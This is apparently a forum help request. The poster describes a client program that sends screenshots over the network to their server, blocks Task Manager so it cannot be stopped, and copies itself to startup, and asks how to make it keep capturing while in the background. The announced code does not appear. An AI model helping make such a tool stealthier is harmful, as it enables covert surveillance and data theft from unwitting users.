Hello everyone
I made a project where the following code goes in a client application and it sends a screenshot through the network to my server application.
The problem is that when the form is not in focus, no screenshots are sent.
So, could you suggest a way that this program can have normal functionality in the background?
(It blocks taskmgr so you can't stop it running and it copies itself to startup.)
Here's my code:
I would like a reply ASAP please![:)]()
ONE OTHER THING
The client app is the one that isn't working properly, not the server one
